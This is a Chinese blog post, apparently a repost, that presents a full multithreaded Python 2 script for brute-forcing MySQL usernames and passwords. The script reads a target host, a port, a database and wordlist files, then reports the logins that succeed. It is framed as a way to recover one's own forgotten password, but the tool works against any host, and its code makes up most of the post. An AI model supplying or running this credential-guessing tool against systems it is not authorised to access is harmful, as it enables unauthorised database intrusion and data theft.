本文連結:
https://blog.csdn.net/l1028386804/article/details/118378477
今天下班回家想登錄MySQL資料庫,很遺憾,我忘記了MySQL資料庫的用戶和密碼。我該怎麼辦?使用安全模式登錄?我想每個人都應該知道這樣一種傳統的方式!今天,讓我們來做個改變,就是用Python寫一個工具來破解MySQL,看看它能不能破解出MySQL的用戶和密碼。
爆破腳本這次編寫的爆破MySQL的Python腳本使用了Python中的多線程編程,並且導入了MySQLdb模塊。運行時,腳本分別接收如下五個參數:
待破解的ip/domain:例如127.0.0.1
埠:例如3306
資料庫:例如test
用戶名列表文件:例如user.txt文件
密碼列表文件:例如password.txt文件
下面給出完整的腳本代碼:
import os, sys, re, socket, timefrom functools import partialfrom multiprocessing.dummy import Pool as ThreadPool try: import MySQLdbexcept ImportError: print '\n[!] MySQLdb模塊導入錯誤,請到下面網址下載:' print '[!] http://www.codegood.com/archives/129' exit() def usage(): print '+' + '-' * 50 + '+' print '\t Python MySQL暴力破解工具多線程版' print '\t 微信公眾號:Python聯盟' print '\t\t Code BY: 盟主' print '\t\t Time:2021-06-30' print '+' + '-' * 50 + '+' if len(sys.argv) != 6: print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 埠 資料庫 用戶名列表 密碼列表" print "實例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt" sys.exit() def mysql_brute(user, password): "mysql資料庫破解函數" db = None try: db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2])) result.append('用戶名:' + user + "\t密碼:" + password) except KeyboardInterrupt: print '已成功退出程序!' exit() except MySQLdb.Error, msg: print '程序出錯,錯誤信息為:', msg pass finally: if db: db.close() if __name__ == '__main__': usage() start_time = time.time() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [i.rstrip() for i in open(sys.argv[4])] passlist = [j.rstrip() for j in open(sys.argv[5])] print '\n[+] 目 標:%s \n' % sys.argv[1] print '[+] 用戶名:%d 條\n' % len(userlist) print '[+] 密 碼:%d 條\n' % len(passlist) print '[!] 密碼破解中,請稍候……\n' result = [] for user in userlist: partial_user = partial(mysql_brute, user) pool = ThreadPool(10) pool.map(partial_user, passlist) pool.close() pool.join() if len(result) != 0: print '[+] MySQL密碼破解成功!\n' for x in {}.fromkeys(result).keys(): print x + '\n' else: print '[-] MySQL密碼破解失敗!\n' print '[+] 破解完成,用時: %d 秒' % (time.time() - start_time)腳本編寫完成後,運行,等待了一段時間,將我的MySQL的用戶和密碼完美的破解出來了。
- EOF -
回復關鍵字「簡明python 」,立即獲取入門必備書籍《簡明python教程》電子版
回復關鍵字「爬蟲」,立即獲取爬蟲學習資料
點擊關注【python入門與進階】,閱讀更多精彩內容推薦